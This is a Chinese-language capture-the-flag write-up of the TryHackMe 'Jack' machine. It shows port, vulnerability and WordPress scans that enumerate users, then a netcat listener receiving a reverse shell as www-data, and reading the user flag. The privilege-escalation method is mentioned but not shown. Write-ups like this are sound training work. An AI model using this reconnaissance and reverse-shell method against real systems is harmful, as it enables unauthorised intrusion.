TryHackMe上的hard难度靶机。给我们提供了一个WordPress普通权限用户提权的思路:利用User Role Editor插件的漏洞,此漏洞广泛存在所以挺有价值的。提权部分用到了python库注入方法,也是一种好思路,值得学习。
记得开始前在hosts里面加上jack.thm对应的ip,不然网页可能无法正常加载。
信息收集
端口扫描:
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿kali)-[~/THM/Jack/workSpace] └─$ sudo nmap -p- --min-rate=10000 10.10.183.69 [sudo] password for kali: Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 14:36 CST Nmap scan report for 10.10.183.69 Host is up (0.26s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 12.85 seconds
┌──(kali㉿kali)-[~/THM/Jack/workSpace] └─$ sudo nmap -sT -sV -sC -O -p22,80 10.10.183.69 Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 14:37 CST Nmap scan report for 10.10.183.69 Host is up (0.25s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 3e7978089331d0837fe2bcb614bf5d9b (RSA) | 256 3a679faf7e66fae3f8c754496338a293 (ECDSA) |_ 256 8cef55b023732c14094522ac84cb40d2 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.3.2 | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-title: Jack's Personal Site – Blog for Jacks writing adven... Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 5.4 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 7.1.1 - 7.1.2 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 30.27 seconds
┌──(kali㉿kali)-[~/THM/Jack/workSpace] └─$ sudo nmap --script=vuln 10.10.183.69 Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 14:40 CST Nmap scan report for 10.10.183.69 Host is up (0.27s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 | http-wordpress-users: | Username found: jack | Username found: wendy | Username found: danny |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit' |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /wp-login.php: Possible admin folder | /wp-json: Possible admin folder | /robots.txt: Robots file | /readme.html: Wordpress version: 2 | /: WordPress version: 5.3.2 | /wp-includes/images/rss.png: Wordpress version 2.2 found. | /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found. | /wp-includes/images/blank.gif: Wordpress version 2.6 found. | /wp-includes/js/comment-reply.js: Wordpress version 2.7 found. | /wp-login.php: Wordpress login page. | /wp-admin/upgrade.php: Wordpress login page. | /readme.html: Interesting, a readme. |_ /0/: Potentially interesting folder | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.183.69 | Found the following possible CSRF vulnerabilities: | | Path: http://10.10.183.69:80/ | Form id: search |_ Form action: http://jack.thm
Nmap done: 1 IP address (1 host up) scanned in 350.71 seconds
┌──(kali㉿kali)-[~/THM/Jack/workSpace] └─$ sudo nikto -h http://10.10.183.69 [sudo] password for kali: - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.183.69 + Target Hostname: 10.10.183.69 + Target Port: 80 + Start Time: 2023-06-06 15:56:18 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: Drupal Link header found with value: <http://jack.thm/index.php/wp-json/>; rel="https://api.w.org/". See: https://www.drupal.org/ + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /FwkQXLWd.: Uncommon header 'x-redirect-by' found, with contents: WordPress. + No CGI Directories found (use '-C all' to force check all possible dirs) + /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Operation now in progress + Scan terminated: 20 error(s) and 7 item(s) reported on remote host + End Time: 2023-06-06 16:19:09 (GMT8) (1371 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[+] XML-RPC seems to be enabled: http://jack.thm/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://jack.thm/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] Upload directory has listing enabled: http://jack.thm/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://jack.thm/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.3.2 identified (Insecure, released on 2019-12-18). | Found By: Rss Generator (Passive Detection) | - http://jack.thm/index.php/feed/, <generator>https://wordpress.org/?v=5.3.2</generator> | - http://jack.thm/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.3.2</generator>
[+] WordPress theme in use: online-portfolio | Location: http://jack.thm/wp-content/themes/online-portfolio/ | Last Updated: 2021-07-30T00:00:00.000Z | Readme: http://jack.thm/wp-content/themes/online-portfolio/readme.txt | [!] The version is out of date, the latest version is 0.1.0 | Style URL: http://jack.thm/wp-content/themes/online-portfolio/style.css?ver=5.3.2 | Style Name: Online Portfolio | Style URI: https://www.amplethemes.com/downloads/online-protfolio/ | Description: Online Portfolio WordPress portfolio theme for building personal website. You can take full advantag... | Author: Ample Themes | Author URI: https://amplethemes.com/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 0.0.7 (80% confidence) | Found By: Style (Passive Detection) | - http://jack.thm/wp-content/themes/online-portfolio/style.css?ver=5.3.2, Match: 'Version: 0.0.7'
[+] Enumerating DB Exports (via Passive and Aggressive Methods) Checking DB Exports - Time: 00:00:04 <====================> (71 / 71) 100.00% Time: 00:00:04
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected) Brute Forcing Attachment IDs - Time: 00:00:06 <=========> (100 / 100) 100.00% Time: 00:00:06
[+] danny | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
┌──(kali㉿kali)-[~/THM/Jack/workSpace] └─$ sudo nc -lvp 443 [sudo] password for kali: listening on [any] 443 ... connect to [10.11.40.37] from jack.thm [10.10.183.69] 34350 bash: cannot set terminal process group (1123): Inappropriate ioctl for device bash: no job control in this shell www-data@jack:/var/www/html/wp-content/uploads/2023/06$ uname -a uname -a Linux jack 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux www-data@jack:/var/www/html/wp-content/uploads/2023/06$
www-data@jack:/home/jack$ ls -la ls -la total 36 drwxr-xr-x 4 jack jack 4096 Jan 10 2020 . drwxr-xr-x 3 root root 4096 Jan 8 2020 .. lrwxrwxrwx 1 jack jack 9 Jan 10 2020 .bash_history -> /dev/null -rw-r--r-- 1 jack jack 220 Jan 8 2020 .bash_logout -rw-r--r-- 1 jack jack 3771 Jan 8 2020 .bashrc drwx------ 2 jack jack 4096 Jan 9 2020 .cache -rw-r--r-- 1 jack jack 655 Jan 8 2020 .profile drwx------ 2 jack jack 4096 Jan 10 2020 .ssh -rw-r--r-- 1 root root 140 Jan 10 2020 reminder.txt -rw-rw-r-- 1 jack jack 33 Jan 10 2020 user.txt www-data@jack:/home/jack$ cat user cat user.txt ******************************** www-data@jack:/home/jack$ cat re cat reminder.txt
Please read the memo on linux file permissions, last time your backups almost got us hacked! Jack will hear about this when he gets back.